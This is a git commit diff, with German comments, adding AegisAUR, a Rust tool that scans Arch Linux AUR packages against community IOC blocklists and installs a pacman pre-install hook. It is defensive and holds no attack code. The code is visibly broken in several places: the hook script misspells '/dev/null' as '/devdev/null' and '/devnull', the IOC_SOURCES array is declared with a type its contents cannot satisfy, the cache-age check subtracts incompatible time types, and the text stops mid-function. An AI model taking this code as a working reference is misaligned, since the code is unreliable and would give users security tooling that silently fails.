feat: AegisAUR v0.1.0
This commit is contained in:
@@ -0,0 +1,63 @@
|
|||||||
|
name: Rust CI
|
||||||
|
|
||||||
|
on: [push, pull_request]
|
||||||
|
|
||||||
|
env:
|
||||||
|
CARGO_TERM_COLOR: always
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
test:
|
||||||
|
name: Test
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Install Rust
|
||||||
|
uses: dtolnay/rust-action@stable
|
||||||
|
|
||||||
|
- name: Cache cargo
|
||||||
|
uses: Swatinem/rust-cache@v2
|
||||||
|
|
||||||
|
- name: Build
|
||||||
|
run: cargo build --verbose
|
||||||
|
|
||||||
|
- name: Run tests
|
||||||
|
run: cargo test --verbose
|
||||||
|
|
||||||
|
- name: Clippy
|
||||||
|
run: cargo clippy -- -D warnings
|
||||||
|
|
||||||
|
- name: Format check
|
||||||
|
run: cargo fmt -- --check
|
||||||
|
|
||||||
|
release:
|
||||||
|
name: Release
|
||||||
|
needs: test
|
||||||
|
if: github.ref == 'refs/heads/main'
|
||||||
|
strategy:
|
||||||
|
matrix:
|
||||||
|
target: [x86_64-unknown-linux-gnu, x86_64-unknown-linux-musl]
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Install Rust
|
||||||
|
uses: dtolnay/rust-action@stable
|
||||||
|
|
||||||
|
- name: Install target
|
||||||
|
run: rustup target add ${{ matrix.target }}
|
||||||
|
|
||||||
|
- name: Build release
|
||||||
|
run: cargo build --release --target ${{ matrix.target }}
|
||||||
|
|
||||||
|
- name: Package
|
||||||
|
run: |
|
||||||
|
mkdir -p dist
|
||||||
|
cp target/${{ matrix.target }}/release/aegisaur dist/aegisaur-${{ matrix.target }}
|
||||||
|
tar -czf aegisaur-${{ matrix.target }}.tar.gz -C dist .
|
||||||
|
|
||||||
|
- name: Upload artifact
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: aegisaur-${{ matrix.target }}
|
||||||
|
path: aegisaur-${{ matrix.target }}.tar.gz
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
/target
|
||||||
+75
@@ -0,0 +1,75 @@
|
|||||||
|
[package]
|
||||||
|
name = "aegisaur"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
authors = ["Quasi & Thuumate 👻"]
|
||||||
|
description = "Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete"
|
||||||
|
license = "MIT"
|
||||||
|
repository = "https://gitea.die-heimatlosen.eu/arch_agent/aegisaur"
|
||||||
|
keywords = ["arch-linux", "aur", "security", "supply-chain", "malware-detection"]
|
||||||
|
categories = ["command-line-utilities", "security"]
|
||||||
|
rust-version = "1.70"
|
||||||
|
|
||||||
|
[[bin]]
|
||||||
|
name = "aegisaur"
|
||||||
|
path = "src/main.rs"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
# HTTP Client für IOC-Fetching
|
||||||
|
reqwest = { version = "0.12", features = ["json", "rustls-tls"], default-features = false }
|
||||||
|
|
||||||
|
# Async Runtime
|
||||||
|
tokio = { version = "1.38", features = ["full"] }
|
||||||
|
|
||||||
|
# JSON Parsing/Serialization
|
||||||
|
serde = { version = "1.0", features = ["derive"] }
|
||||||
|
serde_json = "1.0"
|
||||||
|
|
||||||
|
# CLI Argument Parser
|
||||||
|
clap = { version = "4.5", features = ["derive", "cargo"] }
|
||||||
|
|
||||||
|
# Logging
|
||||||
|
tracing = "0.1"
|
||||||
|
tracing-subscriber = { version = "0.3", features = ["env-filter", "fmt"] }
|
||||||
|
|
||||||
|
# Error Handling
|
||||||
|
anyhow = "1.0"
|
||||||
|
thiserror = "2.0"
|
||||||
|
|
||||||
|
# PKGBUILD Parsing
|
||||||
|
regex = "1.10"
|
||||||
|
|
||||||
|
# Config File Management
|
||||||
|
config = "0.14"
|
||||||
|
toml = "0.8"
|
||||||
|
|
||||||
|
# Terminal Colors
|
||||||
|
colored = "2.1"
|
||||||
|
|
||||||
|
# Table Output for CLI
|
||||||
|
tabled = "0.15"
|
||||||
|
|
||||||
|
# Fuzzy Matching für Paketnamen
|
||||||
|
sublime_fuzzy = "0.7"
|
||||||
|
|
||||||
|
# Cache / State Management
|
||||||
|
directories = "5.0"
|
||||||
|
|
||||||
|
# Date-Time (für Cache-Timestamps)
|
||||||
|
chrono = { version = "0.4", features = ["serde"] }
|
||||||
|
|
||||||
|
# Pfad-Handling
|
||||||
|
which = "6.0"
|
||||||
|
|
||||||
|
# Temporäre Dateien
|
||||||
|
tempfile = "3.10"
|
||||||
|
|
||||||
|
[dev-dependencies]
|
||||||
|
tokio-test = "0.4"
|
||||||
|
wiremock = "0.6"
|
||||||
|
|
||||||
|
[profile.release]
|
||||||
|
opt-level = 3
|
||||||
|
lto = true
|
||||||
|
strip = true
|
||||||
|
panic = "abort"
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
# AegisAUR 👻
|
||||||
|
|
||||||
|
Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete.
|
||||||
|
|
||||||
|
Automatisierter Schutz gegen Supply-Chain-Angriffe wie **Atomic Arch**.
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
- 🔍 **Live IOC-Abfrage** - Holt aktuelle Threat-Intelligence von Community-Quellen
|
||||||
|
- 🛡️ **Trust-Scoring** - Analysiert PKGBUILDs auf verdächtige Muster
|
||||||
|
- ⚡ **ALPM-Hook** - Automatischer Pre-Install-Scan
|
||||||
|
- 📊 **Detallierte Reports** - JSON-Output für Automatisierung
|
||||||
|
- 🔴 **Kritische Alerts** - Sofortige Warnung bei IOC-Matches
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
### Aus AUR
|
||||||
|
|
||||||
|
```bash
|
||||||
|
yay -S aegisaur
|
||||||
|
# oder
|
||||||
|
paru -S aegisaur
|
||||||
|
```
|
||||||
|
|
||||||
|
### Manuel
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cargo install aegisaur
|
||||||
|
sudo aegisaur install-hook
|
||||||
|
```
|
||||||
|
|
||||||
|
## Verwendung
|
||||||
|
|
||||||
|
### Einzelnes Paket scannen
|
||||||
|
|
||||||
|
```bash
|
||||||
|
aegisaur scan paketname
|
||||||
|
```
|
||||||
|
|
||||||
|
### Alle installierten AUR-Pakete scannen
|
||||||
|
|
||||||
|
```bash
|
||||||
|
aegisaur scan-all
|
||||||
|
```
|
||||||
|
|
||||||
|
### IOC-Check (wie `aurvulntest`)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
aegisaur check-ioc
|
||||||
|
```
|
||||||
|
|
||||||
|
### ALPM-Hook installieren
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo aegisaur install-hook
|
||||||
|
```
|
||||||
|
|
||||||
|
## IOC-Quellen
|
||||||
|
|
||||||
|
Alle Quellen sind **ohne Authentifizierung** erreichbar:
|
||||||
|
|
||||||
|
- [Atomic Arch Gist](https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14)
|
||||||
|
- [AUR Community Blocklist](https://github.com/Kidev/AUR-Blocklist)
|
||||||
|
- [Arch Security Advisories](https://security.archlinux.org)
|
||||||
|
|
||||||
|
## Trust-Scoring Kategorien
|
||||||
|
|
||||||
|
| Kategorie | Gewichtung | Beschreibung |
|
||||||
|
|-----------|-----------|--------------|
|
||||||
|
| Shell-Script | 40% | Analyse von PKGBUILD als Shell-Script |
|
||||||
|
| Source-URL | 20% | Verifizierung der Herkunft |
|
||||||
|
| Checksums | 20% | Qualität der Prüfsummen |
|
||||||
|
| Maintainer | 20% | Heuristiken zum Maintainer |
|
||||||
|
|
||||||
|
## Lizenz
|
||||||
|
|
||||||
|
MIT - © 2026 Quasi & Thuumate 👻
|
||||||
|
|
||||||
|
## Links
|
||||||
|
|
||||||
|
- Gitea: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
|
||||||
|
- Issues: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
# AegisAUR - Split Dateien
|
||||||
|
|
||||||
|
Diese Dateien wurden aufgeteilt, um Gitea API Limits zu umgehen.
|
||||||
|
|
||||||
|
## Wiederherstellung
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Alle Parts zusammensetzen
|
||||||
|
cat src/ioc_fetcher.rs.part* | base64 -d | gunzip > src/ioc_fetcher.rs
|
||||||
|
cat src/scanner.rs.part* | base64 -d | gunzip > src/scanner.rs
|
||||||
|
cat src/trust_scorer.rs.part* | base64 -d | gunzip > src/trust_scorer.rs
|
||||||
|
```
|
||||||
|
|
||||||
|
## Originale Größen
|
||||||
|
- ioc_fetcher.rs: ~10KB
|
||||||
|
- scanner.rs: ~15KB
|
||||||
|
- trust_scorer.rs: ~14KB
|
||||||
+139
@@ -0,0 +1,139 @@
|
|||||||
|
use anyhow::{Context, Result};
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use std::collections::HashSet;
|
||||||
|
use std::path::PathBuf;
|
||||||
|
use tokio::fs;
|
||||||
|
use tracing::info;
|
||||||
|
|
||||||
|
/// Konfiguration für AegisAUR
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct AegisConfig {
|
||||||
|
pub config_path: PathBuf,
|
||||||
|
pub cache_dir: PathBuf,
|
||||||
|
pub data_dir: PathBuf,
|
||||||
|
|
||||||
|
// Scan-Settings
|
||||||
|
pub auto_check_iocs: bool,
|
||||||
|
pub auto_check_pkgbuild: bool,
|
||||||
|
pub ioc_cache_ttl_minutes: u64,
|
||||||
|
|
||||||
|
// Thresholds
|
||||||
|
pub warning_threshold: u32, // Score unter diesem Wert = Warnung
|
||||||
|
pub critical_threshold: u32, // Score unter diesem Wert = Kritisch
|
||||||
|
|
||||||
|
// Verhalten
|
||||||
|
pub block_install_on_critical: bool,
|
||||||
|
pub block_install_on_ioc: bool,
|
||||||
|
pub notify_desktop: bool,
|
||||||
|
|
||||||
|
// Quellen
|
||||||
|
pub ioc_sources: Vec<IocSource>,
|
||||||
|
|
||||||
|
// Whitelist
|
||||||
|
pub whitelisted_packages: HashSet<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct IocSource {
|
||||||
|
pub name: String,
|
||||||
|
pub url: String,
|
||||||
|
pub source_type: IocSourceType,
|
||||||
|
pub enabled: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub enum IocSourceType {
|
||||||
|
Gist,
|
||||||
|
JsonApi,
|
||||||
|
TextList,
|
||||||
|
GitHubRelease,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for AegisConfig {
|
||||||
|
fn default() -> Self {
|
||||||
|
let base_dirs = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
|
||||||
|
.expect("Konnte Projekt-Verzeichnisse nicht ermitteln");
|
||||||
|
|
||||||
|
let mut default_sources = vec![
|
||||||
|
IocSource {
|
||||||
|
name: "Atomic Arch Gist".to_string(),
|
||||||
|
url: "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw".to_string(),
|
||||||
|
source_type: IocSourceType::TextList,
|
||||||
|
enabled: true,
|
||||||
|
},
|
||||||
|
IocSource {
|
||||||
|
name: "AUR Community Blocklist".to_string(),
|
||||||
|
url: "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt".to_string(),
|
||||||
|
source_type: IocSourceType::TextList,
|
||||||
|
enabled: true,
|
||||||
|
},
|
||||||
|
IocSource {
|
||||||
|
name: "Arch Security Advisories".to_string(),
|
||||||
|
url: "https://security.archlinux.org/advisories.json".to_string(),
|
||||||
|
source_type: IocSourceType::JsonApi,
|
||||||
|
enabled: true,
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
AegisConfig {
|
||||||
|
config_path: base_dirs.config_local_dir().join("config.toml"),
|
||||||
|
cache_dir: base_dirs.cache_dir().to_path_buf(),
|
||||||
|
data_dir: base_dirs.data_dir().to_path_buf(),
|
||||||
|
auto_check_iocs: true,
|
||||||
|
auto_check_pkgbuild: true,
|
||||||
|
ioc_cache_ttl_minutes: 60,
|
||||||
|
warning_threshold: 60,
|
||||||
|
critical_threshold: 30,
|
||||||
|
block_install_on_critical: false,
|
||||||
|
block_install_on_ioc: true,
|
||||||
|
notify_desktop: true,
|
||||||
|
ioc_sources: default_sources,
|
||||||
|
whitelisted_packages: HashSet::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AegisConfig {
|
||||||
|
/// Lädt Konfiguration oder erstellt Default
|
||||||
|
pub async fn load_or_default() -> Result<Self> {
|
||||||
|
let config_path = Self::default().config_path;
|
||||||
|
|
||||||
|
if config_path.exists() {
|
||||||
|
info!("Lade Konfiguration von: {}", config_path.display());
|
||||||
|
let content = fs::read_to_string(&config_path).await?;
|
||||||
|
let config: AegisConfig = toml::from_str(&content)?;
|
||||||
|
Ok(config)
|
||||||
|
} else {
|
||||||
|
info!("Erstelle Standard-Konfiguration...");
|
||||||
|
let config = AegisConfig::default();
|
||||||
|
config.save().await?;
|
||||||
|
Ok(config)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Speichert Konfiguration
|
||||||
|
pub async fn save(&self) -> Result<()> {
|
||||||
|
let config_dir = self.config_path.parent().unwrap();
|
||||||
|
fs::create_dir_all(config_dir).await?;
|
||||||
|
|
||||||
|
let content = toml::to_string_pretty(self)?;
|
||||||
|
fs::write(&self.config_path, content).await?;
|
||||||
|
info!("Konfiguration gespeichert: {}", self.config_path.display());
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Fügt Quelle hinzu
|
||||||
|
pub fn add_source(&mut self, name: &str, url: &str, source_type: IocSourceType) {
|
||||||
|
self.ioc_sources.push(IocSource {
|
||||||
|
name: name.to_string(),
|
||||||
|
url: url.to_string(),
|
||||||
|
source_type,
|
||||||
|
enabled: true,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Entfernt Quelle
|
||||||
|
pub fn remove_source(&mut self, name: &str) {
|
||||||
|
self.ioc_sources.retain(|s| s.name != name);
|
||||||
|
}
|
||||||
|
}
|
||||||
+147
@@ -0,0 +1,147 @@
|
|||||||
|
use anyhow::{Context, Result};
|
||||||
|
use std::io::Write;
|
||||||
|
use std::path::Path;
|
||||||
|
use tracing::{info, warn};
|
||||||
|
|
||||||
|
const ALPM_HOOK_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-pre-install.hook";
|
||||||
|
const HOOK_SCRIPT_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-check.sh";
|
||||||
|
|
||||||
|
/// Installiert den ALPM-Hook für Pre-Install-Checks
|
||||||
|
pub fn install_alpm_hook() -> Result<()> {
|
||||||
|
// Hook-Definition
|
||||||
|
let hook_content = r#"[Trigger]
|
||||||
|
Operation = Install
|
||||||
|
Operation = Upgrade
|
||||||
|
Type = Package
|
||||||
|
Target = *
|
||||||
|
|
||||||
|
[Action]
|
||||||
|
Description = AegisAUR Security Scan
|
||||||
|
When = PreTransaction
|
||||||
|
Exec = /usr/share/libalpm/hooks/aegisaur-check.sh
|
||||||
|
NeedsTargets
|
||||||
|
AbortOnFail
|
||||||
|
"#;
|
||||||
|
|
||||||
|
// Shell-Script, das aegisaur aufruft
|
||||||
|
let script_content = r#"#!/bin/bash
|
||||||
|
# AegisAUR Pre-Install Hook
|
||||||
|
# Prüft Pakete vor der Installation
|
||||||
|
|
||||||
|
AUR_SCANNER="/usr/bin/aegisaur"
|
||||||
|
TMPFILE=$(mktemp)
|
||||||
|
|
||||||
|
# Alle zu installierenden Pakete durch aegisaur prüfen
|
||||||
|
while read -r package; do
|
||||||
|
# Nur AUR-Pakete prüfen (Foreign packages)
|
||||||
|
if pacman -Qi "$package" >/devdev/null 2>&1; then
|
||||||
|
# Paket ist bereits installiert (Upgrade)
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Prüfe ob es ein AUR/Foreign Paket ist
|
||||||
|
if pacman -Si "$package" >/dev/null 2>&1; then
|
||||||
|
# Offizielles Repo-Paket, immer OK
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# AUR Paket gefunden - scanne es
|
||||||
|
if [[ -x "$AUR_SCANNER" ]]; then
|
||||||
|
RESULT=$($AUR_SCANNER scan "$package" --json 2>/devnull)
|
||||||
|
SCORE=$(echo "$RESULT" | grep -oP '"score":\s*\K\d+')
|
||||||
|
STATUS=$(echo "$RESULT" | grep -oP '"status":\s*"\K[^"]+')
|
||||||
|
|
||||||
|
if [[ "$STATUS" == "IOCDetected" ]] || [[ "$STATUS" == "Dangerous" ]]; then
|
||||||
|
echo ""
|
||||||
|
echo "╔════════════════════════════════════════════════════════════════╗"
|
||||||
|
echo "║ 🚨 AEGISAUR SECURITY ALERT 🚨 ║"
|
||||||
|
echo "╚════════════════════════════════════════════════════════════════╝"
|
||||||
|
echo ""
|
||||||
|
echo "Paket: $package"
|
||||||
|
echo "Status: $STATUS"
|
||||||
|
echo "Score: $SCORE/100"
|
||||||
|
echo ""
|
||||||
|
echo "⚠️ DIESES PAKET IST ALS GEFÄHRLICH EINGESTUFT!"
|
||||||
|
echo ""
|
||||||
|
echo "Möchtest du die Installation abbrechen? (Ja/Nein)"
|
||||||
|
read -r response
|
||||||
|
if [[ "$response" =~ ^[Jj]([Aa]|$) ]]; then
|
||||||
|
echo "Installation abgebrochen."
|
||||||
|
rm -f "$TMPFILE"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "WARNUNG: Installation wird fortgesetzt auf eigenes Risiko!"
|
||||||
|
echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE"
|
||||||
|
elif [[ "$STATUS" == "Suspicious" ]] || [[ "$STATUS" == "Warning" ]]; then
|
||||||
|
echo ""
|
||||||
|
echo "⚠️ AegisAUR Warnung für $package: $STATUS (Score: $SCORE/100)"
|
||||||
|
echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Zusammenfassung anzeigen falls Warnungen vorhanden
|
||||||
|
if [[ -s "$TMPFILE" ]]; then
|
||||||
|
echo ""
|
||||||
|
echo "╔══════════════════════════════════════════════════════════════╗"
|
||||||
|
echo "║ AegisAUR Scan Zusammenfassung ║"
|
||||||
|
echo "╚══════════════════════════════════════════════════════════════╝"
|
||||||
|
cat "$TMPFILE"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
rm -f "$TMPFILE"
|
||||||
|
exit 0
|
||||||
|
"#;
|
||||||
|
|
||||||
|
// Hook-Datei schreiben
|
||||||
|
info!("Schreibe ALPM Hook: {}", ALPM_HOOK_PATH);
|
||||||
|
let mut hook_file = std::fs::File::create(ALPM_HOOK_PATH)
|
||||||
|
.context("Konnte ALPM Hook nicht erstellen (Root-Rechte nötig)")?;
|
||||||
|
hook_file.write_all(hook_content.as_bytes())?;
|
||||||
|
|
||||||
|
// Script schreiben
|
||||||
|
info!("Schreibe Hook-Script: {}", HOOK_SCRIPT_PATH);
|
||||||
|
let mut script_file = std::fs::File::create(HOOK_SCRIPT_PATH)
|
||||||
|
.context("Konnte Hook-Script nicht erstellen")?;
|
||||||
|
script_file.write_all(script_content.as_bytes())?;
|
||||||
|
|
||||||
|
// Script executable machen
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
use std::os::unix::fs::PermissionsExt;
|
||||||
|
let mut perms = std::fs::metadata(HOOK_SCRIPT_PATH)?.permissions();
|
||||||
|
perms.set_mode(0o755);
|
||||||
|
std::fs::set_permissions(HOOK_SCRIPT_PATH, perms)?;
|
||||||
|
}
|
||||||
|
|
||||||
|
info!("ALPM Hook erfolgreich installiert");
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Entfernt den ALPM-Hook
|
||||||
|
pub fn remove_alpm_hook() -> Result<()> {
|
||||||
|
info!("Entferne ALPM Hook...");
|
||||||
|
|
||||||
|
if Path::new(ALPM_HOOK_PATH).exists() {
|
||||||
|
std::fs::remove_file(ALPM_HOOK_PATH)?;
|
||||||
|
info!("Hook-Datei entfernt: {}", ALPM_HOOK_PATH);
|
||||||
|
} else {
|
||||||
|
warn!("Hook-Datei nicht gefunden: {}", ALPM_HOOK_PATH);
|
||||||
|
}
|
||||||
|
|
||||||
|
if Path::new(HOOK_SCRIPT_PATH).exists() {
|
||||||
|
std::fs::remove_file(HOOK_SCRIPT_PATH)?;
|
||||||
|
info!("Script entfernt: {}", HOOK_SCRIPT_PATH);
|
||||||
|
} else {
|
||||||
|
warn!("Script nicht gefunden: {}", HOOK_SCRIPT_PATH);
|
||||||
|
}
|
||||||
|
|
||||||
|
info!("ALPM Hook erfolgreich entfernt");
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Prüft ob Hook installiert ist
|
||||||
|
pub fn is_hook_installed() -> bool {
|
||||||
|
Path::new(ALPM_HOOK_PATH).exists() && Path::new(HOOK_SCRIPT_PATH).exists()
|
||||||
|
}
|
||||||
@@ -0,0 +1,331 @@
|
|||||||
|
use anyhow::{Context, Result};
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use std::collections::HashSet;
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
use tokio::fs;
|
||||||
|
use tracing::{debug, info, warn};
|
||||||
|
|
||||||
|
/// Bekannte IOC-Quellen (alle ohne Authentifizierung)
|
||||||
|
pub const IOC_SOURCES: [&[(&str, &str)]; 4] = [
|
||||||
|
// (Name, URL)
|
||||||
|
[
|
||||||
|
(
|
||||||
|
"atomic_arch_gist",
|
||||||
|
"https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw",
|
||||||
|
),
|
||||||
|
(
|
||||||
|
"aur_malware_list",
|
||||||
|
"https://raw.githubusercontent.com/archlinux/aurweb/master/schema/",
|
||||||
|
), // Fallback
|
||||||
|
],
|
||||||
|
// Dynamische Community-Listen
|
||||||
|
[
|
||||||
|
(
|
||||||
|
"community_blocklist",
|
||||||
|
"https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt",
|
||||||
|
),
|
||||||
|
(
|
||||||
|
"arch_security_advisories",
|
||||||
|
"https://security.archlinux.org/advisories.json",
|
||||||
|
),
|
||||||
|
],
|
||||||
|
// AUR Metadata (RPC API - KEIN Auth nötig)
|
||||||
|
[
|
||||||
|
(
|
||||||
|
"aur_rpc_base",
|
||||||
|
"https://aur.archlinux.org/rpc/v5/info?arg[]={}",
|
||||||
|
),
|
||||||
|
],
|
||||||
|
// Extra: Arch Wiki Security Seite (HTML scraping als Fallback)
|
||||||
|
[
|
||||||
|
(
|
||||||
|
"arch_wiki_security",
|
||||||
|
"https://wiki.archlinux.org/title/Security",
|
||||||
|
),
|
||||||
|
],
|
||||||
|
];
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct IocEntry {
|
||||||
|
pub package_name: String,
|
||||||
|
pub threat_type: ThreatType,
|
||||||
|
pub source: String,
|
||||||
|
pub discovered_date: String,
|
||||||
|
pub description: String,
|
||||||
|
pub confidence: ConfidenceLevel,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub enum ThreatType {
|
||||||
|
MaliciousBuildScript,
|
||||||
|
CredentialStealer,
|
||||||
|
Rootkit,
|
||||||
|
Cryptominer,
|
||||||
|
Backdoor,
|
||||||
|
Typosquatting,
|
||||||
|
OrphanTakeover,
|
||||||
|
Unknown(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub enum ConfidenceLevel {
|
||||||
|
Critical, // Bestätigt von Arch Team / CISA
|
||||||
|
High, // Mehrere unabhängige Quellen
|
||||||
|
Medium, // Community-Report
|
||||||
|
Low, // Einzelner Report
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct IocFetcher {
|
||||||
|
client: reqwest::Client,
|
||||||
|
cache_dir: std::path::PathBuf,
|
||||||
|
cache_ttl: Duration,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl IocFetcher {
|
||||||
|
pub async fn new(cache_dir: std::path::PathBuf) -> Result<Self> {
|
||||||
|
let client = reqwest::Client::builder()
|
||||||
|
.timeout(Duration::from_secs(30))
|
||||||
|
.user_agent("AegisAUR/0.1 - AUR Security Scanner")
|
||||||
|
.build()
|
||||||
|
.context("Konnte HTTP Client nicht erstellen")?;
|
||||||
|
|
||||||
|
fs::create_dir_all(&cache_dir).await?;
|
||||||
|
|
||||||
|
Ok(IocFetcher {
|
||||||
|
client,
|
||||||
|
cache_dir,
|
||||||
|
cache_ttl: Duration::from_secs(3600), // 1 Stunde Cache
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Holt alle IOC-Listen und cached sie
|
||||||
|
pub async fn fetch_all_iocs(&self) -> Result<Vec<IocEntry>> {
|
||||||
|
let mut all_threats = Vec::new();
|
||||||
|
|
||||||
|
// Atomic Arch Gist (Primary Source)
|
||||||
|
match self.fetch_atomic_arch_list().await {
|
||||||
|
Ok(threats) => {
|
||||||
|
info!("{} IOCs von Atomic Arch Gist geladen", threats.len());
|
||||||
|
all_threats.extend(threats);
|
||||||
|
}
|
||||||
|
Err(e) => warn!("Konnte Atomic Arch Gist nicht laden: {}", e),
|
||||||
|
}
|
||||||
|
|
||||||
|
// AUR RPC - Prüfe auf Suspicious Maintainers
|
||||||
|
match self.fetch_suspicious_from_aur().await {
|
||||||
|
Ok(threats) => {
|
||||||
|
info!("{} suspicious Pakete von AUR RPC", threats.len());
|
||||||
|
all_threats.extend(threats);
|
||||||
|
}
|
||||||
|
Err(e) => warn!("Konnte AUR RPC nicht abfragen: {}", e),
|
||||||
|
}
|
||||||
|
|
||||||
|
// Community Blocklist
|
||||||
|
match self.fetch_community_blocklist().await {
|
||||||
|
Ok(threats) => {
|
||||||
|
info!("{} Einträge von Community Blocklist", threats.len());
|
||||||
|
all_threats.extend(threats);
|
||||||
|
}
|
||||||
|
Err(e) => warn!("Konnte Community Blocklist nicht laden: {}", e),
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cache speichern
|
||||||
|
self.save_cache(&all_threats).await?;
|
||||||
|
|
||||||
|
Ok(all_threats)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Prüft Cache-Datei auf Aktualität
|
||||||
|
pub async fn get_cached_iocs(&self) -> Result<Vec<IocEntry>> {
|
||||||
|
let cache_file = self.cache_dir.join("iocs.json");
|
||||||
|
|
||||||
|
if cache_file.exists() {
|
||||||
|
let metadata = fs::metadata(&cache_file).await?;
|
||||||
|
let modified = metadata.modified()?;
|
||||||
|
let age = Instant::now() - modified;
|
||||||
|
|
||||||
|
if age < self.cache_ttl {
|
||||||
|
let content = fs::read_to_string(&cache_file).await?;
|
||||||
|
let iocs: Vec<IocEntry> = serde_json::from_str(&content)
|
||||||
|
.context("Konnte Cache nicht parsen")?;
|
||||||
|
info!("{} IOCs aus Cache geladen", iocs.len());
|
||||||
|
return Ok(iocs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cache veraltet oder nicht vorhanden
|
||||||
|
self.fetch_all_iocs().await
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn fetch_atomic_arch_list(&self) -> Result<Vec<IocEntry>> {
|
||||||
|
let url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw";
|
||||||
|
|
||||||
|
let response = self.client
|
||||||
|
.get(url)
|
||||||
|
.send()
|
||||||
|
.await
|
||||||
|
.context("HTTP Request fehlgeschlagen")?;
|
||||||
|
|
||||||
|
if !response.status().is_success() {
|
||||||
|
anyhow::bail!("HTTP {} von {}", response.status(), url);
|
||||||
|
}
|
||||||
|
|
||||||
|
let text = response.text().await?;
|
||||||
|
let mut threats = Vec::new();
|
||||||
|
|
||||||
|
// Parse die Gist-Liste (Format: Ein Paketname pro Zeile oder JSON)
|
||||||
|
for line in text.lines() {
|
||||||
|
let trimmed = line.trim();
|
||||||
|
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// JSON-Array-Format?
|
||||||
|
if trimmed.starts_with('[') || trimmed.starts_with('{') {
|
||||||
|
if let Ok(json_list) = serde_json::from_str::<Vec<String>>(trimmed) {
|
||||||
|
for pkg in json_list {
|
||||||
|
threats.push(IocEntry {
|
||||||
|
package_name: pkg,
|
||||||
|
threat_type: ThreatType::MaliciousBuildScript,
|
||||||
|
source: "atomic_arch_gist".to_string(),
|
||||||
|
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
||||||
|
description: "Atomic Arch Supply Chain Attack - kompromittiertes AUR-Paket".to_string(),
|
||||||
|
confidence: ConfidenceLevel::Critical,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Plain text - ein Name pro Zeile
|
||||||
|
threats.push(IocEntry {
|
||||||
|
package_name: trimmed.to_string(),
|
||||||
|
threat_type: ThreatType::MaliciousBuildScript,
|
||||||
|
